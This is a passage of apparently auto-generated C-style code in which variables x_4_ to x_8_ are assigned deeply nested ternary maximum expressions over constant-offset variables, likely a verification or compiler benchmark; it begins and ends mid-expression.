> ((6.0 + x_10) > (20.0 + x_13)? (6.0 + x_10) : (20.0 + x_13))? ((7.0 + x_4) > (14.0 + x_9)? (7.0 + x_4) : (14.0 + x_9)) : ((6.0 + x_10) > (20.0 + x_13)? (6.0 + x_10) : (20.0 + x_13)))) : ((((9.0 + x_14) > (13.0 + x_16)? (9.0 + x_14) : (13.0 + x_16)) > ((14.0 + x_17) > (12.0 + x_20)? (14.0 + x_17) : (12.0 + x_20))? ((9.0 + x_14) > (13.0 + x_16)? (9.0 + x_14) : (13.0 + x_16)) : ((14.0 + x_17) > (12.0 + x_20)? (14.0 + x_17) : (12.0 + x_20))) > (((14.0 + x_22) > (20.0 + x_26)? (14.0 + x_22) : (20.0 + x_26)) > ((9.0 + x_27) > (4.0 + x_30)? (9.0 + x_27) : (4.0 + x_30))? ((14.0 + x_22) > (20.0 + x_26)? (14.0 + x_22) : (20.0 + x_26)) : ((9.0 + x_27) > (4.0 + x_30)? (9.0 + x_27) : (4.0 + x_30)))? (((9.0 + x_14) > (13.0 + x_16)? (9.0 + x_14) : (13.0 + x_16)) > ((14.0 + x_17) > (12.0 + x_20)? (14.0 + x_17) : (12.0 + x_20))? ((9.0 + x_14) > (13.0 + x_16)? (9.0 + x_14) : (13.0 + x_16)) : ((14.0 + x_17) > (12.0 + x_20)? (14.0 + x_17) : (12.0 + x_20))) : (((14.0 + x_22) > (20.0 + x_26)? (14.0 + x_22) : (20.0 + x_26)) > ((9.0 + x_27) > (4.0 + x_30)? (9.0 + x_27) : (4.0 + x_30))? ((14.0 + x_22) > (20.0 + x_26)? (14.0 + x_22) : (20.0 + x_26)) : ((9.0 + x_27) > (4.0 + x_30)? (9.0 + x_27) : (4.0 + x_30)))));
x_4_ = (((((8.0 + x_0) > (15.0 + x_1)? (8.0 + x_0) : (15.0 + x_1)) > ((18.0 + x_2) > (2.0 + x_4)? (18.0 + x_2) : (2.0 + x_4))? ((8.0 + x_0) > (15.0 + x_1)? (8.0 + x_0) : (15.0 + x_1)) : ((18.0 + x_2) > (2.0 + x_4)? (18.0 + x_2) : (2.0 + x_4))) > (((16.0 + x_5) > (1.0 + x_6)? (16.0 + x_5) : (1.0 + x_6)) > ((4.0 + x_9) > (2.0 + x_10)? (4.0 + x_9) : (2.0 + x_10))? ((16.0 + x_5) > (1.0 + x_6)? (16.0 + x_5) : (1.0 + x_6)) : ((4.0 + x_9) > (2.0 + x_10)? (4.0 + x_9) : (2.0 + x_10)))? (((8.0 + x_0) > (15.0 + x_1)? (8.0 + x_0) : (15.0 + x_1)) > ((18.0 + x_2) > (2.0 + x_4)? (18.0 + x_2) : (2.0 + x_4))? ((8.0 + x_0) > (15.0 + x_1)? (8.0 + x_0) : (15.0 + x_1)) : ((18.0 + x_2) > (2.0 + x_4)? (18.0 + x_2) : (2.0 + x_4))) : (((16.0 + x_5) > (1.0 + x_6)? (16.0 + x_5) : (1.0 + x_6)) > ((4.0 + x_9) > (2.0 + x_10)? (4.0 + x_9) : (2.0 + x_10))? ((16.0 + x_5) > (1.0 + x_6)? (16.0 + x_5) : (1.0 + x_6)) : ((4.0 + x_9) > (2.0 + x_10)? (4.0 + x_9) : (2.0 + x_10)))) > ((((9.0 + x_12) > (14.0 + x_14)? (9.0 + x_12) : (14.0 + x_14)) > ((10.0 + x_19) > (11.0 + x_20)? (10.0 + x_19) : (11.0 + x_20))? ((9.0 + x_12) > (14.0 + x_14)? (9.0 + x_12) : (14.0 + x_14)) : ((10.0 + x_19) > (11.0 + x_20)? (10.0 + x_19) : (11.0 + x_20))) > (((15.0 + x_21) > (9.0 + x_24)? (15.0 + x_21) : (9.0 + x_24)) > ((20.0 + x_25) > (19.0 + x_28)? (20.0 + x_25) : (19.0 + x_28))? ((15.0 + x_21) > (9.0 + x_24)? (15.0 + x_21) : (9.0 + x_24)) : ((20.0 + x_25) > (19.0 + x_28)? (20.0 + x_25) : (19.0 + x_28)))? (((9.0 + x_12) > (14.0 + x_14)? (9.0 + x_12) : (14.0 + x_14)) > ((10.0 + x_19) > (11.0 + x_20)? (10.0 + x_19) : (11.0 + x_20))? ((9.0 + x_12) > (14.0 + x_14)? (9.0 + x_12) : (14.0 + x_14)) : ((10.0 + x_19) > (11.0 + x_20)? (10.0 + x_19) : (11.0 + x_20))) : (((15.0 + x_21) > (9.0 + x_24)? (15.0 + x_21) : (9.0 + x_24)) > ((20.0 + x_25) > (19.0 + x_28)? (20.0 + x_25) : (19.0 + x_28))? ((15.0 + x_21) > (9.0 + x_24)? (15.0 + x_21) : (9.0 + x_24)) : ((20.0 + x_25) > (19.0 + x_28)? (20.0 + x_25) : (19.0 + x_28))))? ((((8.0 + x_0) > (15.0 + x_1)? (8.0 + x_0) : (15.0 + x_1)) > ((18.0 + x_2) > (2.0 + x_4)? (18.0 + x_2) : (2.0 + x_4))? ((8.0 + x_0) > (15.0 + x_1)? (8.0 + x_0) : (15.0 + x_1)) : ((18.0 + x_2) > (2.0 + x_4)? (18.0 + x_2) : (2.0 + x_4))) > (((16.0 + x_5) > (1.0 + x_6)? (16.0 + x_5) : (1.0 + x_6)) > ((4.0 + x_9) > (2.0 + x_10)? (4.0 + x_9) : (2.0 + x_10))? ((16.0 + x_5) > (1.0 + x_6)? (16.0 + x_5) : (1.0 + x_6)) : ((4.0 + x_9) > (2.0 + x_10)? (4.0 + x_9) : (2.0 + x_10)))? (((8.0 + x_0) > (15.0 + x_1)? (8.0 + x_0) : (15.0 + x_1)) > ((18.0 + x_2) > (2.0 + x_4)? (18.0 + x_2) : (2.0 + x_4))? ((8.0 + x_0) > (15.0 + x_1)? (8.0 + x_0) : (15.0 + x_1)) : ((18.0 + x_2) > (2.0 + x_4)? (18.0 + x_2) : (2.0 + x_4))) : (((16.0 + x_5) > (1.0 + x_6)? (16.0 + x_5) : (1.0 + x_6)) > ((4.0 + x_9) > (2.0 + x_10)? (4.0 + x_9) : (2.0 + x_10))? ((16.0 + x_5) > (1.0 + x_6)? (16.0 + x_5) : (1.0 + x_6)) : ((4.0 + x_9) > (2.0 + x_10)? (4.0 + x_9) : (2.0 + x_10)))) : ((((9.0 + x_12) > (14.0 + x_14)? (9.0 + x_12) : (14.0 + x_14)) > ((10.0 + x_19) > (11.0 + x_20)? (10.0 + x_19) : (11.0 + x_20))? ((9.0 + x_12) > (14.0 + x_14)? (9.0 + x_12) : (14.0 + x_14)) : ((10.0 + x_19) > (11.0 + x_20)? (10.0 + x_19) : (11.0 + x_20))) > (((15.0 + x_21) > (9.0 + x_24)? (15.0 + x_21) : (9.0 + x_24)) > ((20.0 + x_25) > (19.0 + x_28)? (20.0 + x_25) : (19.0 + x_28))? ((15.0 + x_21) > (9.0 + x_24)? (15.0 + x_21) : (9.0 + x_24)) : ((20.0 + x_25) > (19.0 + x_28)? (20.0 + x_25) : (19.0 + x_28)))? (((9.0 + x_12) > (14.0 + x_14)? (9.0 + x_12) : (14.0 + x_14)) > ((10.0 + x_19) > (11.0 + x_20)? (10.0 + x_19) : (11.0 + x_20))? ((9.0 + x_12) > (14.0 + x_14)? (9.0 + x_12) : (14.0 + x_14)) : ((10.0 + x_19) > (11.0 + x_20)? (10.0 + x_19) : (11.0 + x_20))) : (((15.0 + x_21) > (9.0 + x_24)? (15.0 + x_21) : (9.0 + x_24)) > ((20.0 + x_25) > (19.0 + x_28)? (20.0 + x_25) : (19.0 + x_28))? ((15.0 + x_21) > (9.0 + x_24)? (15.0 + x_21) : (9.0 + x_24)) : ((20.0 + x_25) > (19.0 + x_28)? (20.0 + x_25) : (19.0 + x_28)))));
x_5_ = (((((20.0 + x_0) > (19.0 + x_3)? (20.0 + x_0) : (19.0 + x_3)) > ((18.0 + x_6) > (5.0 + x_7)? (18.0 + x_6) : (5.0 + x_7))? ((20.0 + x_0) > (19.0 + x_3)? (20.0 + x_0) : (19.0 + x_3)) : ((18.0 + x_6) > (5.0 + x_7)? (18.0 + x_6) : (5.0 + x_7))) > (((17.0 + x_8) > (2.0 + x_11)? (17.0 + x_8) : (2.0 + x_11)) > ((4.0 + x_14) > (13.0 + x_16)? (4.0 + x_14) : (13.0 + x_16))? ((17.0 + x_8) > (2.0 + x_11)? (17.0 + x_8) : (2.0 + x_11)) : ((4.0 + x_14) > (13.0 + x_16)? (4.0 + x_14) : (13.0 + x_16)))? (((20.0 + x_0) > (19.0 + x_3)? (20.0 + x_0) : (19.0 + x_3)) > ((18.0 + x_6) > (5.0 + x_7)? (18.0 + x_6) : (5.0 + x_7))? ((20.0 + x_0) > (19.0 + x_3)? (20.0 + x_0) : (19.0 + x_3)) : ((18.0 + x_6) > (5.0 + x_7)? (18.0 + x_6) : (5.0 + x_7))) : (((17.0 + x_8) > (2.0 + x_11)? (17.0 + x_8) : (2.0 + x_11)) > ((4.0 + x_14) > (13.0 + x_16)? (4.0 + x_14) : (13.0 + x_16))? ((17.0 + x_8) > (2.0 + x_11)? (17.0 + x_8) : (2.0 + x_11)) : ((4.0 + x_14) > (13.0 + x_16)? (4.0 + x_14) : (13.0 + x_16)))) > ((((13.0 + x_17) > (12.0 + x_18)? (13.0 + x_17) : (12.0 + x_18)) > ((12.0 + x_22) > (12.0 + x_23)? (12.0 + x_22) : (12.0 + x_23))? ((13.0 + x_17) > (12.0 + x_18)? (13.0 + x_17) : (12.0 + x_18)) : ((12.0 + x_22) > (12.0 + x_23)? (12.0 + x_22) : (12.0 + x_23))) > (((18.0 + x_25) > (18.0 + x_26)? (18.0 + x_25) : (18.0 + x_26)) > ((2.0 + x_28) > (1.0 + x_29)? (2.0 + x_28) : (1.0 + x_29))? ((18.0 + x_25) > (18.0 + x_26)? (18.0 + x_25) : (18.0 + x_26)) : ((2.0 + x_28) > (1.0 + x_29)? (2.0 + x_28) : (1.0 + x_29)))? (((13.0 + x_17) > (12.0 + x_18)? (13.0 + x_17) : (12.0 + x_18)) > ((12.0 + x_22) > (12.0 + x_23)? (12.0 + x_22) : (12.0 + x_23))? ((13.0 + x_17) > (12.0 + x_18)? (13.0 + x_17) : (12.0 + x_18)) : ((12.0 + x_22) > (12.0 + x_23)? (12.0 + x_22) : (12.0 + x_23))) : (((18.0 + x_25) > (18.0 + x_26)? (18.0 + x_25) : (18.0 + x_26)) > ((2.0 + x_28) > (1.0 + x_29)? (2.0 + x_28) : (1.0 + x_29))? ((18.0 + x_25) > (18.0 + x_26)? (18.0 + x_25) : (18.0 + x_26)) : ((2.0 + x_28) > (1.0 + x_29)? (2.0 + x_28) : (1.0 + x_29))))? ((((20.0 + x_0) > (19.0 + x_3)? (20.0 + x_0) : (19.0 + x_3)) > ((18.0 + x_6) > (5.0 + x_7)? (18.0 + x_6) : (5.0 + x_7))? ((20.0 + x_0) > (19.0 + x_3)? (20.0 + x_0) : (19.0 + x_3)) : ((18.0 + x_6) > (5.0 + x_7)? (18.0 + x_6) : (5.0 + x_7))) > (((17.0 + x_8) > (2.0 + x_11)? (17.0 + x_8) : (2.0 + x_11)) > ((4.0 + x_14) > (13.0 + x_16)? (4.0 + x_14) : (13.0 + x_16))? ((17.0 + x_8) > (2.0 + x_11)? (17.0 + x_8) : (2.0 + x_11)) : ((4.0 + x_14) > (13.0 + x_16)? (4.0 + x_14) : (13.0 + x_16)))? (((20.0 + x_0) > (19.0 + x_3)? (20.0 + x_0) : (19.0 + x_3)) > ((18.0 + x_6) > (5.0 + x_7)? (18.0 + x_6) : (5.0 + x_7))? ((20.0 + x_0) > (19.0 + x_3)? (20.0 + x_0) : (19.0 + x_3)) : ((18.0 + x_6) > (5.0 + x_7)? (18.0 + x_6) : (5.0 + x_7))) : (((17.0 + x_8) > (2.0 + x_11)? (17.0 + x_8) : (2.0 + x_11)) > ((4.0 + x_14) > (13.0 + x_16)? (4.0 + x_14) : (13.0 + x_16))? ((17.0 + x_8) > (2.0 + x_11)? (17.0 + x_8) : (2.0 + x_11)) : ((4.0 + x_14) > (13.0 + x_16)? (4.0 + x_14) : (13.0 + x_16)))) : ((((13.0 + x_17) > (12.0 + x_18)? (13.0 + x_17) : (12.0 + x_18)) > ((12.0 + x_22) > (12.0 + x_23)? (12.0 + x_22) : (12.0 + x_23))? ((13.0 + x_17) > (12.0 + x_18)? (13.0 + x_17) : (12.0 + x_18)) : ((12.0 + x_22) > (12.0 + x_23)? (12.0 + x_22) : (12.0 + x_23))) > (((18.0 + x_25) > (18.0 + x_26)? (18.0 + x_25) : (18.0 + x_26)) > ((2.0 + x_28) > (1.0 + x_29)? (2.0 + x_28) : (1.0 + x_29))? ((18.0 + x_25) > (18.0 + x_26)? (18.0 + x_25) : (18.0 + x_26)) : ((2.0 + x_28) > (1.0 + x_29)? (2.0 + x_28) : (1.0 + x_29)))? (((13.0 + x_17) > (12.0 + x_18)? (13.0 + x_17) : (12.0 + x_18)) > ((12.0 + x_22) > (12.0 + x_23)? (12.0 + x_22) : (12.0 + x_23))? ((13.0 + x_17) > (12.0 + x_18)? (13.0 + x_17) : (12.0 + x_18)) : ((12.0 + x_22) > (12.0 + x_23)? (12.0 + x_22) : (12.0 + x_23))) : (((18.0 + x_25) > (18.0 + x_26)? (18.0 + x_25) : (18.0 + x_26)) > ((2.0 + x_28) > (1.0 + x_29)? (2.0 + x_28) : (1.0 + x_29))? ((18.0 + x_25) > (18.0 + x_26)? (18.0 + x_25) : (18.0 + x_26)) : ((2.0 + x_28) > (1.0 + x_29)? (2.0 + x_28) : (1.0 + x_29)))));
x_6_ = (((((20.0 + x_0) > (19.0 + x_2)? (20.0 + x_0) : (19.0 + x_2)) > ((5.0 + x_5) > (15.0 + x_7)? (5.0 + x_5) : (15.0 + x_7))? ((20.0 + x_0) > (19.0 + x_2)? (20.0 + x_0) : (19.0 + x_2)) : ((5.0 + x_5) > (15.0 + x_7)? (5.0 + x_5) : (15.0 + x_7))) > (((11.0 + x_9) > (2.0 + x_10)? (11.0 + x_9) : (2.0 + x_10)) > ((8.0 + x_11) > (16.0 + x_12)? (8.0 + x_11) : (16.0 + x_12))? ((11.0 + x_9) > (2.0 + x_10)? (11.0 + x_9) : (2.0 + x_10)) : ((8.0 + x_11) > (16.0 + x_12)? (8.0 + x_11) : (16.0 + x_12)))? (((20.0 + x_0) > (19.0 + x_2)? (20.0 + x_0) : (19.0 + x_2)) > ((5.0 + x_5) > (15.0 + x_7)? (5.0 + x_5) : (15.0 + x_7))? ((20.0 + x_0) > (19.0 + x_2)? (20.0 + x_0) : (19.0 + x_2)) : ((5.0 + x_5) > (15.0 + x_7)? (5.0 + x_5) : (15.0 + x_7))) : (((11.0 + x_9) > (2.0 + x_10)? (11.0 + x_9) : (2.0 + x_10)) > ((8.0 + x_11) > (16.0 + x_12)? (8.0 + x_11) : (16.0 + x_12))? ((11.0 + x_9) > (2.0 + x_10)? (11.0 + x_9) : (2.0 + x_10)) : ((8.0 + x_11) > (16.0 + x_12)? (8.0 + x_11) : (16.0 + x_12)))) > ((((14.0 + x_13) > (2.0 + x_18)? (14.0 + x_13) : (2.0 + x_18)) > ((4.0 + x_21) > (10.0 + x_22)? (4.0 + x_21) : (10.0 + x_22))? ((14.0 + x_13) > (2.0 + x_18)? (14.0 + x_13) : (2.0 + x_18)) : ((4.0 + x_21) > (10.0 + x_22)? (4.0 + x_21) : (10.0 + x_22))) > (((17.0 + x_23) > (4.0 + x_24)? (17.0 + x_23) : (4.0 + x_24)) > ((16.0 + x_26) > (16.0 + x_29)? (16.0 + x_26) : (16.0 + x_29))? ((17.0 + x_23) > (4.0 + x_24)? (17.0 + x_23) : (4.0 + x_24)) : ((16.0 + x_26) > (16.0 + x_29)? (16.0 + x_26) : (16.0 + x_29)))? (((14.0 + x_13) > (2.0 + x_18)? (14.0 + x_13) : (2.0 + x_18)) > ((4.0 + x_21) > (10.0 + x_22)? (4.0 + x_21) : (10.0 + x_22))? ((14.0 + x_13) > (2.0 + x_18)? (14.0 + x_13) : (2.0 + x_18)) : ((4.0 + x_21) > (10.0 + x_22)? (4.0 + x_21) : (10.0 + x_22))) : (((17.0 + x_23) > (4.0 + x_24)? (17.0 + x_23) : (4.0 + x_24)) > ((16.0 + x_26) > (16.0 + x_29)? (16.0 + x_26) : (16.0 + x_29))? ((17.0 + x_23) > (4.0 + x_24)? (17.0 + x_23) : (4.0 + x_24)) : ((16.0 + x_26) > (16.0 + x_29)? (16.0 + x_26) : (16.0 + x_29))))? ((((20.0 + x_0) > (19.0 + x_2)? (20.0 + x_0) : (19.0 + x_2)) > ((5.0 + x_5) > (15.0 + x_7)? (5.0 + x_5) : (15.0 + x_7))? ((20.0 + x_0) > (19.0 + x_2)? (20.0 + x_0) : (19.0 + x_2)) : ((5.0 + x_5) > (15.0 + x_7)? (5.0 + x_5) : (15.0 + x_7))) > (((11.0 + x_9) > (2.0 + x_10)? (11.0 + x_9) : (2.0 + x_10)) > ((8.0 + x_11) > (16.0 + x_12)? (8.0 + x_11) : (16.0 + x_12))? ((11.0 + x_9) > (2.0 + x_10)? (11.0 + x_9) : (2.0 + x_10)) : ((8.0 + x_11) > (16.0 + x_12)? (8.0 + x_11) : (16.0 + x_12)))? (((20.0 + x_0) > (19.0 + x_2)? (20.0 + x_0) : (19.0 + x_2)) > ((5.0 + x_5) > (15.0 + x_7)? (5.0 + x_5) : (15.0 + x_7))? ((20.0 + x_0) > (19.0 + x_2)? (20.0 + x_0) : (19.0 + x_2)) : ((5.0 + x_5) > (15.0 + x_7)? (5.0 + x_5) : (15.0 + x_7))) : (((11.0 + x_9) > (2.0 + x_10)? (11.0 + x_9) : (2.0 + x_10)) > ((8.0 + x_11) > (16.0 + x_12)? (8.0 + x_11) : (16.0 + x_12))? ((11.0 + x_9) > (2.0 + x_10)? (11.0 + x_9) : (2.0 + x_10)) : ((8.0 + x_11) > (16.0 + x_12)? (8.0 + x_11) : (16.0 + x_12)))) : ((((14.0 + x_13) > (2.0 + x_18)? (14.0 + x_13) : (2.0 + x_18)) > ((4.0 + x_21) > (10.0 + x_22)? (4.0 + x_21) : (10.0 + x_22))? ((14.0 + x_13) > (2.0 + x_18)? (14.0 + x_13) : (2.0 + x_18)) : ((4.0 + x_21) > (10.0 + x_22)? (4.0 + x_21) : (10.0 + x_22))) > (((17.0 + x_23) > (4.0 + x_24)? (17.0 + x_23) : (4.0 + x_24)) > ((16.0 + x_26) > (16.0 + x_29)? (16.0 + x_26) : (16.0 + x_29))? ((17.0 + x_23) > (4.0 + x_24)? (17.0 + x_23) : (4.0 + x_24)) : ((16.0 + x_26) > (16.0 + x_29)? (16.0 + x_26) : (16.0 + x_29)))? (((14.0 + x_13) > (2.0 + x_18)? (14.0 + x_13) : (2.0 + x_18)) > ((4.0 + x_21) > (10.0 + x_22)? (4.0 + x_21) : (10.0 + x_22))? ((14.0 + x_13) > (2.0 + x_18)? (14.0 + x_13) : (2.0 + x_18)) : ((4.0 + x_21) > (10.0 + x_22)? (4.0 + x_21) : (10.0 + x_22))) : (((17.0 + x_23) > (4.0 + x_24)? (17.0 + x_23) : (4.0 + x_24)) > ((16.0 + x_26) > (16.0 + x_29)? (16.0 + x_26) : (16.0 + x_29))? ((17.0 + x_23) > (4.0 + x_24)? (17.0 + x_23) : (4.0 + x_24)) : ((16.0 + x_26) > (16.0 + x_29)? (16.0 + x_26) : (16.0 + x_29)))));
x_7_ = (((((19.0 + x_1) > (4.0 + x_2)? (19.0 + x_1) : (4.0 + x_2)) > ((4.0 + x_4) > (17.0 + x_9)? (4.0 + x_4) : (17.0 + x_9))? ((19.0 + x_1) > (4.0 + x_2)? (19.0 + x_1) : (4.0 + x_2)) : ((4.0 + x_4) > (17.0 + x_9)? (4.0 + x_4) : (17.0 + x_9))) > (((7.0 + x_10) > (9.0 + x_11)? (7.0 + x_10) : (9.0 + x_11)) > ((7.0 + x_13) > (7.0 + x_15)? (7.0 + x_13) : (7.0 + x_15))? ((7.0 + x_10) > (9.0 + x_11)? (7.0 + x_10) : (9.0 + x_11)) : ((7.0 + x_13) > (7.0 + x_15)? (7.0 + x_13) : (7.0 + x_15)))? (((19.0 + x_1) > (4.0 + x_2)? (19.0 + x_1) : (4.0 + x_2)) > ((4.0 + x_4) > (17.0 + x_9)? (4.0 + x_4) : (17.0 + x_9))? ((19.0 + x_1) > (4.0 + x_2)? (19.0 + x_1) : (4.0 + x_2)) : ((4.0 + x_4) > (17.0 + x_9)? (4.0 + x_4) : (17.0 + x_9))) : (((7.0 + x_10) > (9.0 + x_11)? (7.0 + x_10) : (9.0 + x_11)) > ((7.0 + x_13) > (7.0 + x_15)? (7.0 + x_13) : (7.0 + x_15))? ((7.0 + x_10) > (9.0 + x_11)? (7.0 + x_10) : (9.0 + x_11)) : ((7.0 + x_13) > (7.0 + x_15)? (7.0 + x_13) : (7.0 + x_15)))) > ((((13.0 + x_17) > (11.0 + x_20)? (13.0 + x_17) : (11.0 + x_20)) > ((20.0 + x_22) > (4.0 + x_23)? (20.0 + x_22) : (4.0 + x_23))? ((13.0 + x_17) > (11.0 + x_20)? (13.0 + x_17) : (11.0 + x_20)) : ((20.0 + x_22) > (4.0 + x_23)? (20.0 + x_22) : (4.0 + x_23))) > (((15.0 + x_24) > (6.0 + x_28)? (15.0 + x_24) : (6.0 + x_28)) > ((13.0 + x_29) > (9.0 + x_30)? (13.0 + x_29) : (9.0 + x_30))? ((15.0 + x_24) > (6.0 + x_28)? (15.0 + x_24) : (6.0 + x_28)) : ((13.0 + x_29) > (9.0 + x_30)? (13.0 + x_29) : (9.0 + x_30)))? (((13.0 + x_17) > (11.0 + x_20)? (13.0 + x_17) : (11.0 + x_20)) > ((20.0 + x_22) > (4.0 + x_23)? (20.0 + x_22) : (4.0 + x_23))? ((13.0 + x_17) > (11.0 + x_20)? (13.0 + x_17) : (11.0 + x_20)) : ((20.0 + x_22) > (4.0 + x_23)? (20.0 + x_22) : (4.0 + x_23))) : (((15.0 + x_24) > (6.0 + x_28)? (15.0 + x_24) : (6.0 + x_28)) > ((13.0 + x_29) > (9.0 + x_30)? (13.0 + x_29) : (9.0 + x_30))? ((15.0 + x_24) > (6.0 + x_28)? (15.0 + x_24) : (6.0 + x_28)) : ((13.0 + x_29) > (9.0 + x_30)? (13.0 + x_29) : (9.0 + x_30))))? ((((19.0 + x_1) > (4.0 + x_2)? (19.0 + x_1) : (4.0 + x_2)) > ((4.0 + x_4) > (17.0 + x_9)? (4.0 + x_4) : (17.0 + x_9))? ((19.0 + x_1) > (4.0 + x_2)? (19.0 + x_1) : (4.0 + x_2)) : ((4.0 + x_4) > (17.0 + x_9)? (4.0 + x_4) : (17.0 + x_9))) > (((7.0 + x_10) > (9.0 + x_11)? (7.0 + x_10) : (9.0 + x_11)) > ((7.0 + x_13) > (7.0 + x_15)? (7.0 + x_13) : (7.0 + x_15))? ((7.0 + x_10) > (9.0 + x_11)? (7.0 + x_10) : (9.0 + x_11)) : ((7.0 + x_13) > (7.0 + x_15)? (7.0 + x_13) : (7.0 + x_15)))? (((19.0 + x_1) > (4.0 + x_2)? (19.0 + x_1) : (4.0 + x_2)) > ((4.0 + x_4) > (17.0 + x_9)? (4.0 + x_4) : (17.0 + x_9))? ((19.0 + x_1) > (4.0 + x_2)? (19.0 + x_1) : (4.0 + x_2)) : ((4.0 + x_4) > (17.0 + x_9)? (4.0 + x_4) : (17.0 + x_9))) : (((7.0 + x_10) > (9.0 + x_11)? (7.0 + x_10) : (9.0 + x_11)) > ((7.0 + x_13) > (7.0 + x_15)? (7.0 + x_13) : (7.0 + x_15))? ((7.0 + x_10) > (9.0 + x_11)? (7.0 + x_10) : (9.0 + x_11)) : ((7.0 + x_13) > (7.0 + x_15)? (7.0 + x_13) : (7.0 + x_15)))) : ((((13.0 + x_17) > (11.0 + x_20)? (13.0 + x_17) : (11.0 + x_20)) > ((20.0 + x_22) > (4.0 + x_23)? (20.0 + x_22) : (4.0 + x_23))? ((13.0 + x_17) > (11.0 + x_20)? (13.0 + x_17) : (11.0 + x_20)) : ((20.0 + x_22) > (4.0 + x_23)? (20.0 + x_22) : (4.0 + x_23))) > (((15.0 + x_24) > (6.0 + x_28)? (15.0 + x_24) : (6.0 + x_28)) > ((13.0 + x_29) > (9.0 + x_30)? (13.0 + x_29) : (9.0 + x_30))? ((15.0 + x_24) > (6.0 + x_28)? (15.0 + x_24) : (6.0 + x_28)) : ((13.0 + x_29) > (9.0 + x_30)? (13.0 + x_29) : (9.0 + x_30)))? (((13.0 + x_17) > (11.0 + x_20)? (13.0 + x_17) : (11.0 + x_20)) > ((20.0 + x_22) > (4.0 + x_23)? (20.0 + x_22) : (4.0 + x_23))? ((13.0 + x_17) > (11.0 + x_20)? (13.0 + x_17) : (11.0 + x_20)) : ((20.0 + x_22) > (4.0 + x_23)? (20.0 + x_22) : (4.0 + x_23))) : (((15.0 + x_24) > (6.0 + x_28)? (15.0 + x_24) : (6.0 + x_28)) > ((13.0 + x_29) > (9.0 + x_30)? (13.0 + x_29) : (9.0 + x_30))? ((15.0 + x_24) > (6.0 + x_28)? (15.0 + x_24) : (6.0 + x_28)) : ((13.0 + x_29) > (9.0 + x_30)? (13.0 + x_29) : (9.0 + x_30)))));
x_8_ = (((((2.0 + x_0) > (19.0 + x_1)? (2.0 + x_0) : (19.0 + x_1)) > ((14.0 + x_2) > (10.0 + x_3)? (14.0 + x_2) : (10.0 + x_3))? ((2.0 + x_0) > (19.0 + x_1)? (2.0 + x_0) : (19.0 + x_1)) : ((14.0 + x_2) > (10.0 + x_3)? (14.0 + x_2) : (10.0 + x_3))) > (((4.0 + x_5) > (4.0 + x_8)? (4.0 + x_5) : (4.0 + x_8)) > ((12.0 + x_12) > (14.0 + x_15)? (12.0 + x_12) : (14.0 + x_15))? ((4.0 + x_5) > (4.0 + x_8)? (4.0 + x_5) : (4.0 + x_8)) : ((12.0 + x_12) > (14.0 + x_15)? (12.0 + x_12) : (14.0 + x_15)))? (((2.0 + x_0) > (19.0 + x_1)? (2.0 + x_0) : (19.0 + x_1)) > ((14.0 + x_2) > (10.0 + x_3)? (14.0 + x_2) : (10.0 + x_3))? ((2.0 + x_0) > (19.0 + x_1)? (2.0 + x_0) : (19.0 + x_1)) : ((14.0 + x_2) > (10.0 + x_3)? (14.0 + x_2) : (10.0 + x_3))) : (((4.0 + x_5) > (4.0 + x_8)? (4.0 + x_5) : (4.0 + x_8)) > ((12.0 + x_12) > (14.0 + x_15)? (12.0 + x_12) : (14.0 + x_15))? ((4.0 + x_5) > (4.0 + x_8)? (4.0 + x_5) : (4.0 + x_8)) : ((12.0 + x_12) > (14.0 + x_15)? (12.0 + x_12) : (14.0 + x_15)))) > ((((19.0 + x_17) > (12.0 + x_18)? (19.0 + x_17) : (12.0 + x_18)) > ((14.0 + x_19) > (19.0 + x_21)? (14.0 + x_19) : (19.0 + x_21))? ((19.0 + x_17) > (12.0 + x_18)? (19.0 + x_17) : (12.0 + x_18)) : ((14.0 + x_19) > (19.0 + x_21)? (14.0 + x_19) : (19.0 + x_21))) > (((7.0 + x_23) > (16.0 + x_24)? (7.0 + x_23) : (16.0 + x_24)) > ((10.0 + x_25) > (8.0 + x_29)? (10.0 + x_25) : (8.0 + x_29))? ((7.0 + x_23) > (16.0 + x_24)? (7.0 + x_23) : (16.0 + x_24)) : ((10.0 + x_25) > (8.0 + x_29)? (10.0 + x_25) : (8.0 + x_29)))? (((19.0 + x_17) > (12.0 + x_18)? (19.0 + x_17) : (12.0 + x_18)) > ((14.0 + x_19) > (19.0 + x_21)? (14.0 + x_19) : (19.0 + x_21))? ((19.0 + x_17) > (12.0 + x_18)? (19.0 + x_17) : (12.0 + x_18)) : ((14.0 + x_19) > (19.0 + x_21)? (14.0 + x_19) : (19.0 + x_21))) : (((7.0 + x_23) > (16.0 + x_24)? (7.0 + x_23) : (16.0 + x_24)) > ((10.0 + x_25) > (8.0 + x_29)? (10.0 + x_25) : (8.0 + x_29))? ((7.0 + x_23) > (16.0 + x_24)? (7.0 + x_23) : (16.0 + x_24)) : ((10.0 + x_25) > (8.0 + x_29)? (10.0 + x_25) : (8.0 + x_29))))? ((((2.0 + x_0) > (19.0 + x_1)? (2.0 + x_0) : (19.0 + x_1)) > ((14.0 + x_2) > (10.0 + x_3)? (14.0 + x_2) : (10.0 + x_3))? ((2.0 + x_0) > (19.0 + x_1)? (2.0 + x_0) : (19.0 + x_1)) : ((14.0 + x_2) > (10.0 + x_3)? (14.0 + x_2) : (10.0 + x_3))) > (((4.0 + x_5) > (4.0 + x_8)? (4.0 + x_5) : (4.0 + x_8)) > ((12.0 + x_12) > (14.0 + x_15)? (12.0 + x_12) : (14.0 + x_15))? ((4.0 + x_5) > (4.0 + x_8)? (4.0 + x_5) : (4.0 + x_8)) : ((12.0 + x_12) > (14.0 + x_15)? (12.0 + x_12) : (14.0 + x_15)))? (((2.0 + x_0) > (19.0 + x_1)? (2.0 + x_0) : (19.0 + x_1)) > ((14.0 + x_2) > (10.0 + x_3)? (14.0 + x_2) : (10.0 + x_3))? ((2.0 + x_0) > (19.0 + x_1)? (2.0 + x_0) : (19.0 + x_1)) : ((14.0 + x_2) > (10.0 + x_3)? (14.0 + x_2) : (10.0 + x_3))) : (((4.0 + x_5) > (4.0 + x_8)? (4.0 + x_5) : (4.0 + x_8)) > ((12.0 + x_12) > (14.0 + x_15)? (12.0 + x_12) : (14.0 + x_15))? ((4.0 + x_5) > (4.0 + x_8)? (4.0 + x_5) : (4.0 + x_8)) : ((12.0 + x_12) > (14.0 + x_15)? (12.0 + x_12) : (14.0 + x_15)))) : ((((19.0 + x_17) > (12.0 + x_18)? (19.0 + x_17) : (12.0 + x_18)) > ((14.0 + x_19) > (19.0 + x_21)? (14.0 + x_19) : (19.0 + x_21))? ((19.0 + x_17) > (12.0 + x_18)? (19.0 + x_17) : (12.0 + x_18)) : ((14.0 + x_19) > (19.0 